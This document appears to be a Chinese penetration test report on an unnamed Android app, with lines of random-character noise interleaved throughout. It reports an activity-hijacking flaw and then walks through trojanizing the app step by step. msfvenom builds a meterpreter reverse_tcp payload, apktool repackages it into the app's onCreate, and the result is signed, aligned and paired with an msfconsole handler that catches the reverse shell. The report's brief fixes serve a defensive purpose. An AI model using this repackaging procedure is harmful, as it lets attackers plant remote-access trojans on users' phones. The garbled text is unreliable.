* l6 F& g, {2 N$ v/ D
/ s* S1 j* x# t& N7 ^8 s! o
]7 l9 w1 U. v* b1 F3 K% \
6 E9 |* `/ s, D4 ~% z3 S1 p
\9 _6 L# x( V1 A6 m
4 j- C. `# Q+ T. D/ W
8 l. n$ ~0 C/ _( ]
% b8 t4 X* p, C$ @: y; L: C/ `6 P
/ t5 G6 {2 x9 C9 ^3 K, E$ s8 D% { . f/ A) I$ f* h$ n# X" Z$ e$ s
8 q1 w; B3 C! A: Y 2 检测结果
7 P, a5 r* h: r# {9 m0 [4 P
- v5 a* f$ q5 _ l7 w7 a7 @+ V" e
* p* Y# ?* z' I2 |2 n6 X
. |' t% B4 s$ F$ Z3 Q% Y' r' T- q 9 Q$ M) u; [# r+ a% a
. b! J6 r2 f- [% R 2.1 某某某 / F8 t7 [8 _6 ^
" c0 W5 X+ o5 `- H" F
/ k- m' A8 P, k6 A
; ~# u8 F: a( o) `
; m, D0 \. Z1 ?% m; b9 M5 }( R* T) M9 @8 b5 q8 _
2.1.1检测目标
& B. l1 a$ K$ M5 T4 w7 R% R! K" W2 t! A0 `
- h& }9 `7 Y8 o. W8 T2 ]2 ^/ F; G+ _/ s$ j% u6 ^2 w
) R4 n% x3 ]3 B# v& x" T
& o+ E. @2 w- i- n1 `' O
目标地址: 某某某某某某APP
- v; H e/ X( I* o9 W6 y1 c' W: |
! I4 j7 P0 J- p1 B7 n9 L4 j) |
* l6 X; c( M' j3 U+ ]* g; t5 o% T3 b q- Q% L4 }6 t# Y' Q* F
, `8 m* e- ?% Z
! N0 M; ?& O* M! y8 P* C6 `9 h
2.1.2检测结果
& p% T9 C+ E5 I6 ?8 W; j2 ^) Y8 d% h
; p7 Y: c, m S, X; O h
( H5 v+ ^5 d0 W8 Z, e# j, t& B ; n! a5 ~* i8 N7 W `7 s( U
9 A$ r" F9 w* r, d! _, F. p 2.1.2.1 2 N/ ~7 S' N: m
4 a, p' g3 ~( H/ [0 H
) d7 Q& G4 W' k# s, P; p
9 C0 E$ A- v' j! f2 }$ i# C8 O ( }4 w4 w4 K _/ v% W5 `2 e
- s) ?6 w' d' a- ^) {0 v 漏洞链接地址:某某某某某某APP % {+ w9 W8 I8 z7 M' [& a. e l( B
9 Y& \: l3 h- n/ T0 R
) G5 B# b5 i! F) ?0 B
- e' `7 F3 F3 \1 B$ y / ~' [7 I+ l! X& C, Y
, ~3 A$ W# w/ Y4 U4 Y, }9 F
9 I, C9 B* P6 K! S2 X4 a. X
3 Y; E- a1 W# X) p# \2 \8 l
0 s. M" a# h+ I/ d1 M. f' Z% K' B* k" g N- F: `$ m& k, ]
7 w% r3 W. G! |5 m5 v% b j. L/ N. {* z8 H4 X1 I% ^
漏洞分析及取证: ; j- P1 W, ?' s' U1 m# t: g
3 M0 {- Y6 z9 K3 A, a
8 S4 P; ? ~; W4 a. O: [2 d
7 O% T! K9 a/ ^- w2 P4 x9 G
; u, g& m. Z8 X7 R, z' Q; T# h" I! p: P! _* s
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: 8 Y+ M, }( B" p5 N4 ~
7 K0 |; S1 Z9 Q# h- C$ d
7 |# I7 I' ^3 w8 F2 ^ m
+ `% [( P) q$ |- k' S, B( p
5 C, `. u' b0 q- [0 |+ i N
. W+ Z5 Y# u }- u4 g/ y/ N; |4 r; z
* X2 B: E* P6 h( D3 Z6 G6 \$ z! E! d8 m7 h# u, _3 D2 X3 i$ ~) ]7 v
! \+ }) n8 A) s) M
* ^6 D8 _& [8 r) H
# b4 U! N+ S* a b+ b% W6 R, c! F% Y
2 ~/ @% p$ N8 R+ S" V& n# W + _+ ~, F$ P6 G7 S
, q; E! C2 R3 N2 h/ ?: f
' K3 E: f" h- k6 i3 {. ^9 R, _$ r- Q. v# a$ \) ^% _, X
4 Z. i3 }1 n4 y/ S4 b( j, S9 ?! y& E' Q
; F: @9 S* n \& i! H
5 B4 n/ U" a$ d- F0 ]
) J( ?/ Q/ P# u* j k' m+ j5 v& V
' c9 Y- l& V4 \ [: h
8 n, ?2 a2 s" B. ~
% j1 A0 \4 C; \) \. u& a5 M3 F
) n! s* A* v6 L" B, E& I! ]
0 \/ ]' k" G' N0 ]" b- R
) ~# s; Q; O/ @2 _$ f+ S; P/ f1 X+ X0 q, c2 T. `
/ G4 G2 K8 i/ e+ j) Q9 V) Y6 V' L9 ~( S; G
" o$ `: h4 ~, x1 D+ p
5 w- Q4 `' ?4 O, A$ e9 X
0 p& l# Z2 u" m. D* w
! J" V0 X4 a# Z) a
V3 ]$ O' [2 n% P+ o4 A3 g9 V, v0 B1 }
漏洞危害:高
; D. t0 |( C& [
6 B; h2 \& ~* h
8 l7 a) ?0 _( i" U) q
- r+ y1 I. [0 P3 u7 Y/ ^' T
* y' y# h8 w i
9 R% E/ M/ t: ^8 f % e9 W. i) T; V" W, G m8 s4 p% o
8 O, T& f# }) U( w: v1 B& {1 f ) N$ M1 Z. {+ W7 R; O9 N2 H; A
6 M* d, ?: r+ S) O; h% n3 }# E
) n7 k, e. h. P8 z7 j! J' [' @" y
4 q: a- H) h6 v# `/ s4 m% G
2 d# r0 j- ^8 A, L! W# r+ q' H4 a- J" y
) E7 n# U1 H, ?4 {" A. q; c8 a% A: g( |8 _5 n" @ Y
严重程度 5 M( g0 ^' u; u) N
. F$ o1 T2 D$ y4 c. j. ^. p
! E4 W; k/ R. q
9 @$ J1 q- K _ |
* d1 h1 E3 z) O: R: Y
% _( A2 W, T6 l! l
% m7 Y& F3 Q. H& p: M" p. O8 e) E; t8 {6 R& c, n; S1 J
+ a! M* ~ O% R0 ]0 E7 e
; U% O5 o* D% D& @) ]4 |: b
高
& G2 G0 \& s8 t8 D: F" w: G2 |# c$ O2 \
, r7 t7 x7 B9 B" O y; C9 l# D6 ^' R
7 d& S* y% P3 u2 p* d1 b( [ | , ^" B% _8 a. Z( E f
( x! G D: s4 w( H) o
* F2 p" l0 Q) C% o0 Q4 N8 n& p& H
" P: C% ^+ Z: E/ { ( T0 a8 m0 D# Z+ I3 x( b' N
) s, s" D! S* ` } ■ 3 E$ ^" k6 b' Y9 Y5 f' H$ L
! ~8 g( }' m2 M; I
9 `$ c9 j @& W2 H& P. H
; e5 f4 t/ j9 b2 q1 K3 c | 7 J/ v: N6 q4 t# Y" @8 n z
0 v. y3 ~" a) G( L; C
* X0 h( c0 S/ u( P2 z# R9 r6 ^
- F8 `: e; j- G# Z/ n. p6 L
6 s- U- \2 [& M8 O% U
/ B8 b+ |7 [! S9 u# D4 o8 e# T
中
! e8 [! \1 i5 v% i7 @, y: \6 |9 S+ N8 G' ]- m, c1 Y
1 r& {1 Z- N9 {- f) z7 k- V
' i. z5 A, p9 O# f( m |
$ D' g9 w5 ?9 l q$ o, w, t" v% S ]: G( j: L; N
7 n( m" f) ~/ l5 B" Z! a
. q6 v; l$ a0 d( f% J4 t : G+ R: i9 ^( ?% M' I) t
* c8 O% F* I* G" G P
" o7 n. E4 p4 C: D3 n4 T
. o9 v0 H/ D6 `( F
, |( }2 l! ?1 x
. a I1 q2 A" @9 I7 N n5 U | - d( C7 ~7 j& P5 `7 i
! x, B) m- e' p: |
j* s/ E7 u( x3 G3 ~
( G2 x+ K+ y5 F7 d4 l, j 2 d6 n2 m/ Z' u$ ^: r0 _8 R
9 @/ @9 A4 d! |1 M3 ], w 低 2 S) X6 g' z3 G5 Z. i
+ q6 F) v$ h$ F9 s
* Y0 p+ ^5 k+ ^; _$ x! H2 ?* _, N
| ; B. D }3 W6 L, ?' n" F
9 `: h- O& e4 n' L
" D8 C* h6 Q; ?/ i
, l- [+ g! d7 u# b$ Y ( e/ i( `* v$ P! v7 t
$ C# |% }( ]9 k% [% ?. o( K2 J' l
, ~5 M1 i0 t* @: D: u$ V0 G2 W( f2 e5 _$ K% ~/ f* V! }: r
- W) [( c5 [* f5 M0 q
) @# b0 N) `1 I" T9 f
|
: b1 t6 z8 f" Z3 n, X3 \# {6 l4 @/ d
5 n1 z% z* l& O
' w6 w& j- ^% l( R1 u9 H g, T . q4 f1 j0 T e3 Q
8 P5 }& W7 V2 M9 R8 b& n& u
! h6 g; W- j" i# O3 X
* r6 e |% X8 B+ a4 J( {8 e
4 B" D, b' `; |' }
7 l# q1 E; F' B n
3 R! P! S2 Q1 G, `" T$ z" Y) ]+ P! d2 }* t; E( t
4 ^$ {4 b/ [' ]7 Z) B. v( G$ l8 E0 m& P
) B5 Q# n% `% k9 G4 m
7 [' E5 b1 t! b7 i. m 9 U" {; d: z8 o8 U* f2 e' T
8 n' p6 z. u: h- S8 d1 h
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 , r) S5 n D& n; `. O
6 i% [: }' ?. ?- k
: Z; k0 T3 m5 P P! |3 `, S0 p* B& w( ?5 z K/ h
t: m8 x3 g4 y0 R2 X4 n* }
[! z# [! H1 C" ^4 p8 Z
1 _6 A( i: ]( M# _
- _& M9 o+ ]* p3 E
; n% [ y+ P4 E* N. g7 `: @
; T4 C9 x- y( f: g q. C ' ?4 R" C/ Z0 ?6 c# U d
/ T. q( v2 _6 I+ a( i
+ ]& _& B2 q6 ?% S5 ^- R" C$ L3 x3 @# Y' Q+ t6 |5 i5 w
& x8 C2 P/ ^* o. r* k7 M9 E, V, Z: t8 H. x( e @9 z
1 ]7 X1 f: n: p$ y# m6 I5 o5 U: E6 B/ b0 @) f, y; x
2.1.2.2
/ t1 n9 O/ O0 P, q; F$ e
5 n, Y, O$ k4 _. W4 v4 E
0 A) I6 \+ ^% B( F$ [, C
" E4 e6 ?3 h4 {3 @) v" t9 N
: \- M* ^ u* b% `% w7 q
# t# F0 s. d" M6 Z 漏洞链接地址:某某某某某某APP
! h2 }* j' _* b- s/ Y7 {. z9 C2 b1 a0 ?
" m* D& {! [; |: g: C( T+ g
9 g! z0 T5 _ D
" H! ]7 _1 T6 s+ {6 a( m5 }
8 V: |) O h% O% M/ Q 漏洞分析及取证: ! _4 N+ U/ e& D: x) v4 r
4 N/ i3 \7 d( X5 d1 q H- d# L
" `0 U' L1 V3 Y4 K- p! M% ^/ m, X7 E: y* L) b, N* V A
; a/ X; \: I. [+ }; y, u
$ b6 E, K7 G2 _0 ^
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: & ?; Z2 U2 l; }' n
1 p- x0 h, Z' |+ }3 T. S5 j: p
2 \) H+ e; M ]+ `3 I
' c7 |2 r* F5 G
( K) v% N; U0 Y: d% q
2 ?. [; q% ]8 a, C 用Metasploit 生成木马 apk
* ~1 n8 [2 j0 w9 r A# b0 _
5 x$ f; i- C* N& F
+ c# z" | Z" ]/ { N/ a& s6 U6 ]
6 \2 {/ T& O$ t' j) U
+ L6 M! c0 m, ~ s( u1 ~0 f0 Q, V4 ^0 ?$ e2 Y
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 4 e# U. N$ k/ y6 z6 I
8 o& d$ ^4 T- _0 j8 k! l
6 H. z1 f' h" ]( h6 l8 N
1 K/ n+ Y7 Q- {3 e: J
' }7 A+ A3 B1 @) L0 o! G A& P5 h
# Y3 ], @+ y1 M1 Y 反编译目标apk和木马apk
2 m, e, i# ?) Y/ B. m6 c9 e% h( ~
$ ^7 U" h& c2 N* Z S( @6 h
9 j% P9 A$ ^! o3 d% r$ |
) S* E5 o0 X- L* A* L
, _. q9 K W$ ~: m
# p" g- u6 `3 e
apktool d target.apk
! @2 ~$ }" n1 k5 Y. s- n3 i0 N( z
apktool d cockhorse.apk
8 [( m( b3 m+ {6 t
- e* {1 d* E5 T1 t( H/ _' F
0 b* P3 ^" _) l: q. ~6 b5 P7 h
) _0 u; _6 d& u6 ~
9 q. y; N. m( W1 v+ |% i) \
/ S, X; }! T! P# T 木马 apk 注入目标 apk
$ w+ `! N4 k# C" S3 @
$ A# i% }1 Z* \- l
, ^3 z% X4 k: Q3 H \+ c8 z+ h2 v' ?4 K5 q
" o0 r7 O: \; P2 ], f
9 u+ \$ l( k, x' ^# ] 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
; E/ r3 u, @& J7 s8 o* {: T0 `4 b v" Z! \
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
; x' e2 t O8 H: Q8 _/ J u" z0 G: M+ j( S
# a/ ` }3 s" b5 w# x
% M0 X& o/ H5 o- H4 Z, c 7 i" N2 `! J$ a z9 z
- x& k9 ]3 | o3 c8 o4 }/ M
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
8 c9 `) E x' F0 K7 \6 u4 F: k# n; q" j }5 l' I
) F% a) u& u \% @) n5 t4 X h
/ R0 m1 t8 h, G( K( Q
/ J8 X$ N1 Q* ?& d$ _+ f6 ?5 b
" e9 b5 @3 I5 ?$ C! b" U 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 ! y/ i& B2 |5 R4 X
" `7 Q. w3 R+ ^0 P4 \* K: e7 U
- c! {7 x9 G* q, t
% ~' Y. F6 s) G; A2 I9 e
, i, q+ |) _8 ~: Q6 |& z4 M @, p
. J! w7 A: B. ^1 k3 `5 S+ `$ _2 v 回编译生成最终 apk
2 Q2 v7 t& g# q5 Z0 P# l& W/ `% g8 W% P" ^7 W2 q9 q q! r; r
5 z+ N# z# z' ~. l# S# x: e
" [- B0 P. s+ A! P
% u, o1 N' k8 t0 l+ d, w- r9 b3 H
0 A. U' V- z+ i) i& ^
重新打包
$ l5 \" }2 r, P* L+ _4 ^' ]
2 e! D5 z! v# L; h
9 n* c7 g' h! t/ t. K: y
/ g0 A; F% L+ m) V$ e3 ` C
1 Q! F* \ p1 X8 s- U9 b3 @. j1 }6 H5 K
apktool b -o repackage.apk target_app_floder . W1 ` Q1 B0 B" J h! u+ t( ^
9 W6 k7 _/ o3 e' h2 o
3 j' J! A$ E2 q
8 G' U K+ H; o+ [8 x" m 9 y& v x6 t$ ~' i
8 b: j8 O B7 X2 V8 Q/ o% H
创建签名文件,有的话可忽略此步骤 & ]+ b' [ X8 ]( M/ j
. `$ v8 U/ e5 ~
: i% E3 t3 l) o6 ~1 B" Z; S- s' J8 p: t. R* w+ V
8 e& |$ v3 m: F, J% ]) _4 R- m) |% N* O7 D2 x* b% C
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 : f: U H+ i; l
- b! C' q, Y$ w1 M
5 C( O" i! v! C$ a+ z
2 s% s2 s2 v [! l7 a
9 I8 P7 C/ r2 X" b7 J% ~ n* C! H; e$ a: N) p
签名,以下任选其一 4 r. }( L2 o( b6 |3 e. X
: I- ~. }) J% P. X, g
7 r, h: j* s: F: w. }: p, L* | L! Y F! {1 X
. Z* i, q, Q( s, c0 `+ J! @, S8 l; r: j3 q" n5 o% T
jarsigner 方式
# p5 r V/ d& n9 F; l8 Y: `
! R0 [7 c$ D4 @4 f- q
5 X2 i+ s" _% G' Z1 O; C. S5 d) w) \4 Z
; f3 F8 q0 J1 x" a! j
# Q# C, ]5 E4 v0 I7 t jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
! e5 y1 o2 F1 j; a, f& p% m2 H! Q8 Y5 N
( }; y6 b3 |% a- f
3 B1 h) j+ N6 G3 A4 V/ _8 j h ' b' t$ T/ K4 B# z T) {
+ @1 s r& t* F apksigner 方式 4 r1 c+ s0 O* c% O
3 ]) c, F3 s5 s, ^, o
2 W7 r8 {" G* A& p& j' _
; P# V9 M4 w9 A9 g
! x8 c ?. W' m; ?1 s
* A/ m' V4 I! \4 Q3 X. f
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk : e. p( M/ ^; B6 m9 q( F- c
/ S0 W% o7 f3 e+ @
& a/ y" ^, z# S- w( k
* ?+ H5 w( H$ {' c1 I# n% E+ u
7 |9 Y7 T) A ?) h8 A* t) p; w
( a: ~( G5 d4 @7 D& Z4 M 如需要禁用 v2签名 添加选项--v2-signing-enabled false " W, {* I4 f0 ~
3 K. f0 a! C) S; B) w Q) R& @. [3 D
' N) @9 M/ E; \( ^2 p) E* G4 N4 s+ Q( j7 p0 z
/ p# n* s9 \4 u( H8 k
9 N2 T7 b0 l4 c2 ~ 验证,以下任选其一
6 N$ H1 |5 h7 k/ J3 x x1 e$ N' k, y! L; @3 t7 K4 W/ J
5 B! V: ^9 W @" G" J
1 y6 [& G# Q9 P- T: n' E
! T' C3 g4 S4 x. P2 k* \0 L, S+ z1 S5 U' z8 B6 e; ^# C
jarsigner方式
8 ` a, p0 S, X, k
4 `' _) b8 F/ v) d* e
/ |7 O) `& [" N, K9 t
3 N0 ^3 j6 G# e( z: J" { ' y* o. S8 C2 I1 E; x; O( s
5 N; O0 |. ]$ n' X. O+ u; Y jarsigner -verify repackaged.apk ' T0 }3 `) ?8 o
; Y) K) j+ P) \. c# b l5 f
! f, y8 C& I ]6 t" D& w: z0 W8 j! i
5 {/ i# i" i3 P" y
* S7 k2 s! }" y P% P% D2 Z apksigner 方式 0 F9 ~$ r$ I" l. B. a- j
8 \& [6 h: d0 [: U0 p$ c( f
) e5 P8 P3 v0 c8 a" U4 p" c: Y6 X2 @* G# I& @* [
- U8 G# p. S( b/ _. x: Y
4 M/ M8 I: b2 I# p: r apksigner verify -v --print-certs repackaged.apk
4 V* o0 C$ }7 h. w# C/ \( U( ]
! b( U- S! Z, M- S
9 e! N) }- T4 I! g
' C: }9 _$ c4 w) }, p) m
$ n0 N9 I3 o2 F0 @3 I8 j
* `3 v1 h. L/ t3 n; a
keytool方式
; z+ ~: J6 p3 E5 I8 S' j a t( `, D6 q+ c) D
4 x0 d% N/ |8 f6 y/ n* W
% I1 M( N, \+ g N0 Q : m7 a7 H$ i1 F! Z: B% ^
; z4 Q! z8 J% J8 T' r6 T
keytool -printcert -jarfile repackaged.apk
- d5 x( F' q4 Q4 w1 r
3 y: d9 d I0 k9 O. I0 H7 g* W
$ G. B3 o5 h9 r& Q% m5 U; Z1 M9 m* {2 X, q b1 `
2 X$ w' [0 R: p1 F0 u
; @$ s) e6 |' i2 Y& l: C. A
对齐
( T4 P& ~0 L3 d% C
! l6 n& e$ [; u# g7 x
9 J- S _" ?1 @! Z
* J0 l% c: n. d$ j: ~ 5 {* d: K, o) k8 a" f& T) |
+ I/ Q" ^0 o; @) q8 @/ ` 字节对齐优化 0 t+ [ R6 Y- p( y& u$ a6 H' H, Z
* w0 V" n* B2 ]! f/ Z) Z
3 o/ K; R; e# s* E0 |6 f, C1 ?/ T2 u5 y5 D) m
5 Z7 T2 O( _) ~1 q+ c; A4 `* x8 h5 N, i4 S% m
zipalign -v 4 repackaged.apk final.apk ~# T/ q8 _+ f* f! s- H
6 v% m. v! V' n! Y0 i( U0 G
4 ?1 t5 N+ U' C Q* ?- [" I
' a8 f9 @) h" x3 Q u/ k: } # r4 ]+ q1 D" k* v
; H/ ~ f `# U) c, i( J4 J
检查是否对齐
/ p! c) D% }% G' g
- v$ n9 B# b% {9 u& O) p& q
9 g2 S/ q9 D+ ]: i3 d
7 O, ?9 Y2 M0 x8 Z2 C # | g( Y8 g2 p; Y
% k& y$ V: |- F; M8 [- T2 n
zipalign -c -v 4 final.apk
+ Y6 B7 s8 a3 ~0 J2 S
9 T$ g& f% X1 O7 R
4 b6 l& L* M3 i7 ^0 v
) Q D) R& ]3 T1 c/ P$ ]
) m- X0 ]9 ]1 u' p4 i- J0 B# Z# |& Q0 @3 E+ p/ x' q1 e$ X
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
4 Z3 L: j8 j9 O' C7 x) w8 k' C1 s' i
' ^2 l/ l4 N# m2 v5 p8 \( P
$ ^- o, i' r7 M! T, M6 X & _2 b! r9 Z6 b& q8 d
7 X$ \. F; \# N
启动Metasploit控制台,配置参数等待上线 ( Z: F- T) V) F7 P# u
* P% i% F6 _/ W
1 _; D2 R6 Z6 F
- d8 B9 p$ e% b / ^1 h3 k t0 n6 g& ]
. G( G& W, Z7 u W) d; Z- U( D W
在终端依次输入如下命令
8 m( G* h0 I& d! o6 a4 H- Q1 w- o3 F! ~) [! o
7 N, j( l5 p! |2 g* q( X" w% |# H3 U) r2 Z
: K6 `/ [) q5 f' n* ^
+ y3 k, Q# e) T+ u9 l7 R6 h `
msfconsole
# {' O y1 }3 P! ?' H' X
3 x7 m; n, G+ O8 s
0 a1 A4 D6 a3 E9 O* {
3 X! T9 V) |4 h9 V 2 d6 k5 P( C- t, ]* S3 U* ]/ t
; F7 D! ~& Q. r* s" l }3 G
use exploit/multi/handler ; S2 L. |6 g7 K2 x( o# u
+ D$ K! Z( X, X# X$ p. C
7 j6 {/ `5 h! ~2 G+ R% d( w) [3 e+ ~2 c4 W9 C& v( W2 |
0 q d5 P& t7 c$ z( H
. X/ X1 v: J# J i2 m2 N0 C. @
set PAYLOAD android/meterpreter/reverse_tcp 7 K4 X& m2 |) A3 i$ _* O- l5 ]- D
7 c/ v8 X6 \4 U& T
# {/ D% m2 N" ^4 t" b: F
0 r+ { x1 [2 T
1 a& D% N) ~; b9 M2 V$ E: q
6 j+ J1 m8 Z) M; Z set LHOST 192.xxx.xx.xx : {& S: T6 i3 R; L5 f
1 X x5 x5 H# N/ M& u
6 z6 f3 E( R! q6 `/ ^9 Z
, l, n% m6 ~0 T- g / R* Z: Y& o ]0 y% m# S
- d8 ~; y0 [6 g: s/ X' U set LPORT 4444
! }) E* O- k4 w9 N3 R0 g+ V8 c6 V0 C" }$ z1 X8 H t# S: s
6 G8 x/ o4 A3 v: v P) R
& ~# F1 T4 C% ]0 Z. G1 B
5 Z$ G, t" n) R. E" {$ l; ~
3 B& Y' Y' ?' C7 n& v1 w4 F exploit ! \$ ]/ Z3 S" N0 z7 v, f( _# ^
- a: i4 E1 [6 h: e6 V7 \
" m( H% P0 R& r9 M/ e$ ^& W" B% A, }. X# e/ M
7 ]7 j" a0 [! ?4 \% x. Q7 q
& R L, V4 s W5 p: i a, Z' F 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
" K8 y+ i9 S, f/ @& ~$ g9 E# C. F
f/ W5 i4 O" k+ b$ V8 `
$ |) P+ r/ K4 w" Z# `8 M9 s X) W) w1 n: f T' v
7 `$ O/ K( P8 V3 t
, P) S/ h& T; I" ]& Z$ M `: l7 d 漏洞危害:中
6 v/ N: [/ X |6 h0 Q9 S
% }( u# W* a( n& [: Z
% ]3 R7 r. d# t' q9 k
. z! M5 u3 u# L2 l3 u- ~1 t2 I
) j2 R+ M& z5 P2 y: p7 w9 \! N. ~4 @: g; S
, c @ e& L) l/ m+ {) @5 M
! z, L5 W9 V& |$ n) n* \8 K
; A) [- j7 H I) L; \/ i
5 d# [7 f, X; I9 M4 \* d' I9 H
; p: T5 T; y) C s3 |
$ E. V7 ?* N0 l# x6 I W( y7 G
( v2 o1 o, F+ n3 U' r
9 _! { b# p' a( u' t* K # {3 J2 \% O' x _$ R- b# s( {
% D/ `' D) D# f1 {/ ?" s
2 C: B7 k5 i1 r4 `$ Z
2 k* |9 ^. B* t5 ]. Q' [& N 严重程度
+ C4 s0 I9 u0 A* Q3 X$ g! j. o2 m" y! W7 i& v
: Q. j# \; q/ _# P, Y
: o( _- k; ?1 X- H8 N
| / V: h0 o7 a) F
. z, e( k S) t/ Y, k! _+ _7 e; S
' H/ f/ D, w! j) g2 {: {) U6 p6 S3 ~
9 I5 u* D, e3 D$ ~; q J9 s ( M4 U C7 ~. `* }9 c
( K! I1 q6 n$ ^2 F4 O 高
8 V7 }& n; O0 ~& ~5 y$ R
& ~# e! {1 m9 p4 V 6 e l" ~/ r+ [8 r% q$ r
! C7 P+ v& o) K. H, ?
|
8 q9 R8 ]* [, `0 z
1 E3 u* l& o. @- h6 x; ^0 \
$ ?* [5 T9 r$ M7 O6 q ~9 k, d" ~9 Z. M+ D- ?' m W
`6 W9 \; t: B. S/ c) g. b0 W6 c. k8 J( |( I: y. l
■
8 P* j% P$ v- y( h6 w# h& y$ a' t( k2 M+ E: O( U% l4 Y, _; ]& }
8 }6 G! b/ D: }. Y# \; g1 c W
' z/ Y* m& F. x8 z: X1 [ | % z2 R* F% b3 i1 U6 F
% w1 p! P, z! x% f 9 }; E T, v/ G" X* b% \+ x& D1 [1 _
& A$ A0 [% B* V9 [9 Y
* L8 _* b+ f* o3 w& v2 [% p
, _4 q8 B8 D; v/ K: n4 o0 e 中 ) ]3 R2 I# P+ B) g3 E; w- O
$ }/ \0 c/ P7 Y4 h) j
& I6 [3 x2 y: I
9 s6 v+ k* P3 L2 P- l | % [, o4 }. K' I2 F6 Q9 B4 [0 ]$ f2 J3 T
2 r2 H) j9 ]3 `. R" R# t
3 F* ]5 I$ T7 d9 U$ x
" |% E/ l! L2 x0 S
2 `; S; Z; X6 F% V( |$ t4 j% T' a0 c0 ^0 ]+ J7 z- ]' ^0 S4 T
6 n2 y: A: a. U% b
. O: ]- S; H+ b0 d/ K1 t7 |. y
8 H ~' d' {1 c: k
@8 F! K5 a" j0 x) b( ^
2 @( |1 Q' x6 |, E, K" {3 f( w( }+ c; n' Q6 i @3 {: E! Y) z% k- V" d" }
|
( `; u4 Y! B1 g4 t
( E ^; e, k2 c3 b: F8 |0 K . f9 K- P5 F m" }5 x
?9 K3 a+ N4 d: c . F& ~" x c% C; E
/ k0 F- ^5 p0 s4 D$ W
低 5 p( `" P. U+ Z0 [
% M% e, N" V% |! h1 {- a' B
; u9 Y% X. z7 B) `& ^
* n: q5 F% \" m }* J' x9 H | 0 a" h* w( U2 `( o6 a1 f6 O6 J
9 W2 {0 d0 h* }+ z" R1 @
$ u& n# k2 ^/ @0 ]# ?% H: X
1 U9 S- ]) p3 U& @9 i6 W* m
# ~. J/ x+ a& o$ e5 c2 M9 E5 c4 L. z; e, L+ R, G
( T7 N( ^7 n8 G/ p" S# J9 h& X( g7 _+ W2 A! L4 D
) x: A, g) A4 V% o7 Q5 p, ^: ?
f; A. p) {) t$ t $ f; a9 K" m5 @. F3 j) a
( Y' W+ {! C' e+ S( X' a8 { | " F8 ]6 C: e. r* g2 y" K
5 l" V4 K9 C4 Q
: s+ {1 P- i; x, r* H7 Q+ l
( I. y+ ~. f5 n: h+ B# D' D % e$ y" @4 }" a) t
5 |) F# X) R+ t; G) E
: G0 E! N |- G+ u" a6 z1 k
- v' v w& l: x, ]# E
! ]' m+ E# s# [
/ M* {% M0 f0 B! ` , p. M+ V- U' `; i
0 p! x- R$ E4 ]8 [4 g8 r7 |" F- f; p
' ~0 x: r4 W; m6 ^# c( m' Z" Z" i+ L* X9 H+ U. Y
- I+ m4 x2 j4 a$ J( j$ L
. j6 N1 {, y2 j! I& t, x _0 \
4 z/ l! f# c- I. [7 I( i/ F- L, W4 ?0 ?/ g8 V$ Q
修复方法:
, n g9 X& U+ T9 {8 W8 x8 D$ X _
% l7 b& r) S* r" W8 O5 _, l n' k
, D1 J8 O _# b# Q$ h
2 _3 C' I$ k C! |( { W2 P
. h# g/ ~& d3 T3 j- z/ j" q) M. K* I2 I( n3 Z
1.在 APP 启动时应做签名校验防止二次打包。
5 |" L/ u4 K% z/ `% \- D' g1 e% l" U4 q$ q( m
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 6 a' H4 q1 P; m7 I9 T
* x9 U0 c) W8 v! g! I& Z
$ E6 l. G% i O: R8 L9 l. j: b. `
/ g! N0 X3 A P! Q; n
' Z, _8 m- W+ l. e0 D9 c4 M* m/ m
# |( Z) ?+ @. ]% l3 I) s D
: |5 I0 k4 @. m" \) n, g+ T( w
6 e# V" y- @. z7 Q x# W2 P+ B: m
, E* ], j/ `2 w3 c0 I8 N: G
8 l6 o9 D1 ~/ J' {& S
* l5 N2 `- @# h
( z, F3 f$ c3 s% c7 J4 X
4 I, M) T) v# e+ t
# v* A, z" v! k6 m2 V
9 Q% Y# F6 E. Y' \8 K a+ V
4 O; C% x2 b1 |/ M- F- r
/ ]& d, m+ B; p2 ?& M
. g' E, ^( c% P& Z, \8 V# a, c% A* D! ]% g/ o; @+ P, }: z( d9 b6 |